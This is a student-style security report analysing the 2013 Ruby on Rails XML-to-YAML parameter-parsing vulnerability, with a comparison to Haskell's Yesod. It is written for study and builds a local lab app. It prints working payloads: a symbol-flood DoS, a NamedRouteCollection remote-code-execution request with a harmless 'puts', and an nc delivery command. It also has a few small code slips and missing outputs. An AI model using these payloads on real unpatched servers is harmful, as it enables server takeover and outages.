Ruby on Rails parsing vulnerabilities

Oscar Söderlund & Anders Larsson

Background

> *You want to enjoy life, don't you? If you get your job done quickly and your job is fun, that's good isn't it?*
>
> Yukihiro Matsumoto (creator of Ruby)

Ruby is a high level general purpose language that is often described as fun and productive to program in. The question is: does this fun and productivity come at a price? No job is fun when there are security implications that will come back to haunt you.

Ruby on Rails is as of today one of the most popular frameworks for web application development. As the name suggests, it is implemented in Ruby.

In February 2013, a critical vulnerability in the Ruby on Rails parameter parsing cababilities was discovered. This vulnerability, which among other things enabled remote code execution, has been called "the worst security issue that the Rails platform has seen to date".7

This report aims to investigate this vulnerability, and draw conclusions about what may have been the leading causes to its existence.

The Ruby programming language

As of today, Ruby is the second most popular language on GitHub, and is often attributed as a language especially suited to web programming.

Arrays and hashes

Ruby is an object oriented language, with a rich feature set and native syntactic support for the most common data structures.

```
["an", "array", "of", "strings"]

{ :a => "hash", :from => "symbols", :to => "strings" }
```

Hashes in Ruby are natively supported key-value mappings. Like in C++, it is possible to create classes that are hash-like, by defining the `[](key)` and `[]=(key, value)` methods.

Symbols

Ruby symbols are names prepended with a colon (`:`). They play the same role as atoms in Erlang and are often described as "light-weight strings". They are often used as keys in hashes.

Symbol names can only contain spaces and other special caracters, but only if the colon is prepended to a string, as such:

```
:a_symbol

:"Also a symbol."
```

Type system

The Ruby type system employs what is referred to as “duck typing”, which means that the type system in general is very unrestrictive. Duck typing generally implies that the type system does not enforce knowledge of an objects available methods during compile time. If an object has the method `quack()`, the programmer can treat it like a `Duck` without further knowledge of its actual class. The types of parameters and return values are kept entirely implicit.

Metaprogramming

A programming idiom that is very prominent within the Ruby community is the concept of metaprogramming. Since Ruby code is evaluated as it is being parsed (as opposed to other languages such as JavaScript which uses several passes), it is possible to define new classes during runtime.

Ruby also provides granular tools for runtime evaluation of code. Apart from the `eval` function provided by most popular scripting languages, Ruby also provides `instance_eval`, `class_eval`, and `module_eval` for evaluating code in the context of a given object, class or code module.

The method `bar` in the class `Foo` could be defined as such:

```
class Foo
  def bar
    "baz"
  end
end
```

But it could also be defined as:

```
x = "bar"
class Foo
  class_eval <<EOS
    def #{x}
      "baz"
    end
  EOS
end
```

The `#{}` is used for string interpolation, and the `<<` is used to define a multi-line string with a custom end marker, in this case `EOS`.

In most other languages, runtime evaluation tools are kept at arms length due to the inherent risk of evaluating untrusted code. In Ruby however, it is not uncommon to make use of the `eval`-methods.

Rubygems

The Ruby community uses a centralized repository at `http://rubygems.org` to distribute code modules

known as `gems`. Installing a gem deployed to Rubygems is as easy as running: `gem install [gemname]`.

The Ruby on Rails web application framework

Ruby on Rails, often referred to as Rails or RoR, is a web application development framework for Ruby.

The tagline of Rails is “convention over configuration”, which in practice means that the programmer is expected to structure the application in a certain way, but in return gets a lot of functionality provided by default.

One such default functionality in Rails is middleware, which is code that is executed on every incoming request, to handle things such as parsing and loading relevant data from the database before control is passed to a handler method in a controller.

Rails uses the common Model-View-Controller pattern, where domain data is kept in models, request handlers are defined in controllers and markup is defined in views.

Which controller method gets to handle which incoming request is defined by the Rails router. The router is basically a mapping between different HTTP routes and controller method handlers. An example route could be:

```
match "/students/:id" => "students#show"
```

This means that the `students/id` route will be handled by the `show`-method in the `students`-controller.

Rails metaprogramming

Rails makes heavy use of metaprogramming as a way of avoiding code repetition. It is not uncommon to see code such as this:

```
%w(<< concat push insert unshift).each do |method|
  class_eval <<-METHOD, __FILE__, __LINE__ + 1
    def #{method}(*args)
      paths.#{method}(*typecast(args))
    end
  METHOD
end
```

YAML

As explained on the official homepage, `YAML` is a markup language for describing serialized data that is designed to be human-readable.

Among other things, `YAML` has syntactic support for arrays and hashes, but also native objects.

YAML is programming language agnostic, but has built in features for describing objects. For example, a simple Ruby object can be described in `YAML` as:

```
!ruby/object:Foo
bar: baz
```

This is equivalent to an object of class `Foo`, which has a property `bar` with the value `baz`.

Ruby provides tools for deserializing serialized `YAML` objects during runtime, using the method `YAML::load`. Calling `YAML::load` with our `Foo` object would result in a Foo object being instantiated:

```
foo = YAML::load <<EOS
  +ruby/object:Foo
  bar: baz
EOS
foo.bar == "baz" # true
```

Since `YAML`:s syntactic support for data structures and objects matches that of Ruby, it has become something of a de facto serialization format within the Ruby community.

Exploit

> *"There are multiple weaknesses in the parameter parsing code for Ruby on Rails which allows attackers to bypass authentication systems, inject arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on a Rails application."*
>
> Aaron Patterson (Ruby on Rails developer)

The vulnerability in questions was first described in a security bulletin1 by Aaron Patterson in January 2013.

Because of the severity of the problems found he suggests that applications running an affected release should be upgraded or fixed immediately. The post suggests different fixes depending on RoR version and what modules the application uses. One fix is to disable `YAML` type conversion when parsing `XML`.

Many articles have been written on the subject after the initial post such as 3, 4, 5. 3 talks about how the exploit affects websites using RoR and even those that is connected to one, since a compromised server could be used by an attacker to perform cross-site scripting. The article also mentions that almost all servers running a RoR application at the time was affected, which yields how massive impact it had on the RoR community and ultimately on the future of RoR.

Goal

To examine the exploit by identifying what makes it possible and what have been done on later patches to avoid it, while also considering one of Ruby on Rails leading design paradigm "convention over configuration" and its benefits and drawbacks.

Description of work

Constructing a vulnerable environment

According to Aaron Patterson's security bulletin[1], all versions below `3.2.11` are affected by the vulnerability. Constructing a vulnerable application thus requires version `3.2.10` or below.

Another article on the subject[2] points out that the version of Ruby needs to be higher than `1.9.2`, we will thus use the latest patch of version `1.9.3`, which to date is `1.9.3-p392`.

To setup a default application, we can use Rubygems to install the most recent vulnerable version of the framework:

```
gem install rails --version 3.2.10
```

Now, we create a default Rails application of the correct version:

```
rails _3.2.10_ new vulnerable-app --skip-bundle
```

To make sure that the gem versions of the vulerable application do not conflict with more recent versions installed on the system, we will install all bundled gems locally within the application:

```
cd vulnerable-app
bundle install --path vendor/bundle
```

This leaves us with a fully functional default application, which can be run using:

```
bundle exec rails server
```

By visiting `localhost:3000`, we now see the welcome page for a default Rails application.

In order for our example application to be vulnerable, we have to define at least one route. The example page in a default application is served as a static file, and does not cause the incoming request to the root URL to be routed through the Rails stack.

We therefore open the `routes.rb` file and define that the root URL should be routed to the `index` method of the `Application` controller:

```
# config/routes.rb
:root :to => "application#index"
```

In our `Application` controller, we define that the index method should just render the default welcome page as before:

```
# app/controllers/application.rb
def index
  render :file => 'public/index.html'
end
```

We have now constructed a complete, runnable, vulnerable application.

Creating a proof of concept exploit

A concise example of the exploit is detailed in a blog entry by one of the members of *Rapid7*, creators of the popular exploit framework `Metasploit`[7].

By examining the provided `Metasploit`-module and other example exploits, we believe that the idea behind the exploit can be described as:

Send a `POST` request with an `XML` body to the server. The `XML` should contain one single tag, with a `type=yaml` attribute. Any `YAML` inside this tag will then be deserialized within the context of the application runtime.

Verifying the vulnerability

We can test that the above description is accurate by sending a simple payload to the application containing nothing but a serialized `Time` object. If the server actually deserializes the `YAML` content, the console should log the deserialized version of the `Time` object, which should be the current time.

This `XML` payload would look as such:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/object:Time {}
</exploit>
```

We now need a reliable way of sending exploit payloads to our vulnerable application. A very simple way is to construct the `POST` requests manually and sending them using the `netcat`-tool.

We thus construct a `POST` request for our example payload:

With our example application still running on port `3000`, we use `netcat` to deliver the payload, which we assume resides in a file called `payload_time`:

```
nc localhost 3000 < payload_time
```

Upon inspection of the application console, we see the following printed:

As it turns out, the rails router does not process `POST` requests by default. We can however get around this using a special `HTTP` header:

```
X-HTTP-Method-Override: GET
```

This header makes the router treat the `POST` request as if it were a `GET` request.

Upon sending the payload with the modified header, we get the following output in the console:

We have thus verified that the described vulnerability exists.

Exploiting the vulnerability

The fact that we can have YAML objects deserialized on the server does not directly imply that we can have arbitrary code executed. We can, however, have objects of arbitrary classes deserialized.

After knowledge about the vulnerability became public, it seems that its severity increased as various security enthusiasts devised increasingly harmful exploits, ranging from simple DoS attacks, to SQL injections and finally RCE, remote code execution.

The DoS attack is similar to the payload containing a Time object that we have already seen. Only this time, we POST a great many Ruby symbols to the application. Since symbols are never garbage collected once defined, the deserialization of this payload will result in the symbol table overflowing and the application crashing.

Examples of this and many other attacks are provided by blogger under the alias *ronin*[2]. Here is a simple example of a payload for a DoS attack:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">---:foo1: true
  :foo2: true
  :foo3: true
  <!-- ... -->
  :foo1000000: true
  <!-- ... -->
</exploit>
```

We see that the possibility of having arbitrary YAML deserialized on the server is a clear vulnerability. Still, in order to achieve remote code execution, yet another vulnerability must be exploited.

Not long after the discovery of the vulnerability, a vulnerable class was discovered that when deserialized from YAML could potentially cause untrusted data to be evaluated as code. *ronin* provides us with a payload that contains such a class:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo; puts "Hello world!"
  __END__
'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
</exploit>
```

When sent as a POST request to the default route of our application, it causes:

```
"Hello world!"
```

to be printed in the server console. From this we can conclude that by contstructing payloads containing a serialized `NamedRouteCollection`, we can have the application execute arbitrary code.

Result

Analysis

Analysis of exploit

Our final exploit payload looks like this in its entirety:

```
POST /index.html HTTP/1.1
Host: localhost
Content-Type: text/xml
X-HTTP-Method-Override: GET

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo; puts "Hello world!"
  __END__
'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
</exploit>
```

We will now make sense of it by picking it apart and analyzing the individual components.

First off, we see that we are dealing with a `POST`-request, with the exploit payload contained in the body. The payload is meant to be parsed as `XML`, which is the reason for the content-type header:

```
Content-Type: text/xml
```

By default, Rails does not handle `POST`-requests unless explicitly told so on a specific route. This means that our payload will not be parsed unless we can find a route on the server that accepts `POST` requests. Although this might not be hard on most servers, we can make it even easier by simply overriding the POST request to be handled as a GET request. This is the reason for the header:

```
X-HTTP-Method-Override: GET
```

Our payload in the request body is an `XML`-document consisting of one `<exploit>` tag. By adding a type property, we can make Rails delegate the content of this tag tag to its `YAML`-parser:

```
<exploit type="yaml">
```

Next follows the `YAML`-part of our payload, which in all its entirety describes a serialized instance of the Rails class `NamedRouteCollection`.

```
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
```

The next part is where the fun begins. Our serialized NamedRouteCollection has one key value mapping with the key:

```
'foo; puts "Hello world!"
  __END__
'
```

and the value:

```
!ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
```

It is apparent that our exploit code is contained within the key that maps to a ruby struct. This struct contains a seemingly arbitrary set of properties. What these properties mean and how the code in the key can end up being evaluated will be apparent upon analysis of the vulnerable code that processes this request.

Analysis of vulnerable code

How every request is handled by Rails is determined by the router, which maps URLs to controller method handlers. As we will see however, our request will never reach a handler before the code in our payload is executed.

Since the exploit will work on any route that responds to GET-requests, we will consider the following route:

```
root :to => "application#index"
```

This means that the root route of our application will be handled by the index method in the `Application` controller.

Before calling the index method, however, the request will be routed through all of Rails middleware. A default Rails application comes with middleware for automatically parsing HTTP-parameters and taking appropriate action when certain parameters are encountered.

If we look at the source of this parameter parser, we see that the vulnerable version of Rails defines two default parsers:

```
# actionpack/lib/action_dispatch/middleware/params_parser.rb
DEFAULT_PARSERS = {
      Mime::XML => :xml_simple,
      Mime::JSON => :json
}
```

And when the `Content-Type` of the header is set to `XML`, the Rails `XML` parser will be called to parse the body of the request:

```
# actionpack/lib/action_dispatch/middleware/params_parser.rb
strategy = @parsers[mime_type]
case strategy
when :xml_simple, :xml_node
  data = Hash.from_xml(request.body.read) || {}
```

We now know that our incoming request will cause the class method `from_xml` of the class `Hash` to be called with the request body as parameter.

A short look at `from_xml` reveals that it simply delegates to Rails built in XML parser, `XmlMini`.

```
# activesupport/lib/active_support/core_ext/hash/conversions.rb
def from_xml(xml)
  typecast_xml_value(unrename_keys(ActiveSupport::XmlMini.parse(xml)))
end
```

To understand how the `XML` parser results in the contents of the `<exploit>` tag to be parsed by the `YAML` parser, we look inside the source of `XmlMini`.

```
# activesupport/lib/active_support/xml_mini.rb
FORMATTING = {
  "yaml"     => Proc.new { |yaml| yaml.to_yaml }
} unless defined?(FORMATTING)
```

We see that for any `XML` tag with the `type` attribute set to `yaml`, the `XML` parser will delegate parsing of the tag body to the `to_yaml` method, which is a general method defined on the `Object` class, and thus available on all objects.

Once our payload reaches the `to_yaml` method, an object of class `NamedRouteCollection` will be instantiated by the `YAML` parser.

Now recall that the `NamedRouteCollection` in our payload had one key-value mapping defined. After instantiation, the `YAML`-parser will attempt to assign this key-value mapping by calling the `[]=` method on our object.

By looking at the source code for `NamedRouteCollection` we see that `[]=` is aliased to the `add` method:

```
# actionpack/lib/action_dispatch/routing/route_set.rb
class NamedRouteCollection
def add(name, route)
  routes[name.to_sym] = route
  define_named_route_methods(name, route)
end
alias []= add
```

We can now conclude that our malicious code, which was the key in the key-value mapping, will reside in the name variable.

Without going into too much much detail, we state that the reason for the seemingly arbitrary properties on the `struct` object that now resides in the `route` variable is that the `routes[name.to_sym] = route` method would fail if `route` did not have certain properties defined.

We are now very close to having our malicious code executed. We need only follow the call chain for `define_named_route_methods`, which ends up in the `define_hash_access` method.

```
def hash_access_name(name, kind = :url)
  :"hash_for_#{name}_#{kind}"
end

def define_hash_access(route, name, kind, options)
            selector = hash_access_name(name, kind)
# ...

@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :#{selector}
# ...
```

With our malicious code still in the `name` variable, the call to `module_eval` will look something like this with the string interpolations evaluated:

```
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :hash_for_foo; puts "Hello World!"
__END__
```

The result being `foo` printed to the standard out of the running server. The `puts "hello"` part could however have been much more malicious, had we wanted it to.

We have thus successfully achieved remote code execution.

Analysis of security patches

In order to understand how this vulnerability was patched, we look at the difference between the vulnerable version `3.2.10` and `3.2.11`:

```
git diff v3.2.10 v3.2.11
```

Recall how the class method from_xml on the Hash class would delegate parsing of the tag content to the YAML parser if the attribute type="yaml" was present. This helps us understand the following diff:

```
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -85,15 +85,33 @@ class Hash
end
end
+ class DisallowedType < StandardError #:nodoc:
+ def initialize(type)
+ super "Disallowed type attribute: #{type.inspect}"
+ end
+ end
+
+ DISALLOWED_XML_TYPES = %w(symbol yaml)
+
class << self
- def from_xml(xml)
- typecast_xml_value(unrename_keys(ActiveSupport::XmlMini.parse(xml)))
+ def from_xml(xml, disallowed_types = nil)
+ typecast_xml_value(unrename_keys(ActiveSupport::XmlMini.parse(xml)), disallowed_types)
+ end
```

We see that the security path essentially just forbids the presence of the type="yaml" attribute, by throwing an error if it is present.

Discussion

We have so far seen that the parsing vulnerability was the result of a chain of smaller vulnerabilities.

First of all, the fact that the frameworks default middleware stack provides automatic YAML serialization on all incoming POST requests seems like an apparent flaw. When attempting to trace the origin of the YAML delegating code, it seems like it only existed in the first case to support an edge case where Rails model classes needed to be automatically deserialized from incoming requests[2].

Another vulnerability that allowed the exploit to happen is the class NamedRouteCollection, which uses module_eval on untrusted data. It can however be argued that the creator of the method using module_eval did not intend for it to process untrusted data, and that it is the XML parser that violates this precondition by allowing a NamedRouteCollection to be instanced in such an arbitrary way.

It seems that there is no obvious way to assign blame to one part of the system. By comparing the Rails parser with the parser of another framework, we will shed some light on the issue of how a more secure parser could look like.

Comparison with Haskell

In order to reason about the security implications of the YAML serialization, we compare the code from the vulnerable version of Rails with equivalent code from another popular web development framework, namely Yesod.

Yesod is implemented in Haskell, which means that the host language provides a siginificantly higher level of type safety than Ruby. The question is, how would this type safety have affected the vulnerability in question?

The benefit of explicit typing In Ruby, serialization and deserialization can very conveniently be done using `YAML`, it is even so convenient that `YAML::load` can produce an arbitrary object from a string. The type of the object is described in the `YAML` markup contents and need not be known inside the deserializing code.

```
# The deserialized type can be implicit
(IO.read "file").from_yaml
```

In Haskell, serialization and deserialization of arbitrary data can be done using the read and show functions. There is however a substantial difference from Ruby, which is that deserialization in Haskell requires knowledge of the type in advance. This means that in our case, we would have explicitly had to say that the deserialization of the `XML` in our malicious payload was to be interpreted as `XML`.

```
-- The deserialized type must be explicit
do contents <- readFile
  "file" return $ (read contents) :: `XML`
```

The benefit of being side-effect free

Haskell also provides another safety aspect through its type system: a possible guarantee that a function call is not allowed to result in side effects.

In Ruby, there is no way of reasoning about whether or not our call to from_xml will potentially result in unknown side-effects. For all we know, the `XML` document could contain a `YAML` document that upon deserialization causes the missiles to be launched. Since the `from_xml` method is untyped, there is no way of knowing what might happen when we call it.

Now consider one of the possible `XML` deserialization modules available to Yesod: HaXml. HaXml defines the custom algebraic datatype `Document` that models `XML` documents, and a function `xmlParse` that converts Strings into such Documents. Look at the type of `xmlParse`:

```
xmlParse :: String -> String -> Document Posn
```

In Haskell, we know that the only way of side effects happening is if the computation is performed inside the `IO`-monad. Since `xmlParse` is not computed inside the `IO` monad, we can be certain that no missiles are launched upon parsing of `XML` documents. There is a function called `unsafeperformIO` which theoretically could be used inside `xmlParse`, but this is highly unlikely.

Conclusions

Taking the analysis into account, a conclusion has been made that Ruby on Rails has several security issues regarding its design choices.

Risk analysis

We have seen that Ruby and Ruby on Rails (when viewed as a web application DSL) are very high level languages. It may be possible that in these languages, security flaws can emerge that are not possible in languages with more restrictive type systems. This weighs into the risk of choosing to implement a web application in Rails.

Maybe even the remote possibility of failure is not an option, and the cost of the increased development time is motivated when choosing another language and another framework.

On the other hand, if money and development time is an issue, the inherent security threats that may lie dormant in a Rails application due to the dynamic nature of Ruby may be a necessary tradeoff in order to meet a business goal. We see that this is the case by looking at the number of start-ups that choose to develop their web applications in Ruby on Rails.

Convention over configuration

Ruby on Rails is a very convenient framework to work in. The system has been designed such that a developer shouldn't need to make unnecessary configurations in order to get a functioning server. The ease of use have boosted the platform's popularity since it allows the developer to stay productive, but to what cost? If "convention over configuration" was to be abandoned, then would the users abandon Ruby on Rails?

When taking these questions into consideration, one might also question if there would be any users left if the platform is considered insecure. This may be why Aaron Pattersson emphasises in his post1 that it should now be more "secure by default", after disabling the delegation to the `YAML` parser from the `XMLParser` in the default settings.

Secure by default

It is a fact that without including a vulnerable `XML` parser into the application middleware by default, the severity of the vulnerability would have been mitigated. Then, only those who had explicitly enabled `XML` parsing would be vulnerable, but instead basically every Rails application on the internet was vulnerable.

The idiomatic way of preventing this would have been to disable the `XML` parser altogether by default, but the Rails developers instead chose to just disallow the type="yaml" attribute on `XML` documents. This would count as a compromise between "Convention over configuration" and "Secure by default", which will probably be a common balancing act in the development of Ruby on Rails in the future.

Principle of least privilege

Our exploit show just how easy it is for a compromising vulnerability to lie dormant in a web application. In our case, the vulnerability allowed arbitrary code execution on the server. Since this code could potentially be system calls, it shows just how important it is to follow the "Principle of least privilege".

This means that we in our case could run the server under a user account which only has the specific permissions required to run our web application, including file system permissions limited to the confines of the server files.

Added security from type safety

From our comparison with Haskell, we can draw the following conclusion: there is a substantial difference between languages which enforces that the types of deserialized data be known at runtime, and those that do not.

Languages that that do enforce types of deserialized data to be explicitly specified can be argued to be more secure, since our exploit in question would not have been possible. Recall that the class `NamedRouteCollection` depended on the invariant that it must never handle untrusted data. By not specifying the type of the deserialized data, this invariant was broken.

It is however a fact that this type of deserialization provides a level of convenience and language-based expressiveness to the programmer that is not possible in a language with more restricted types.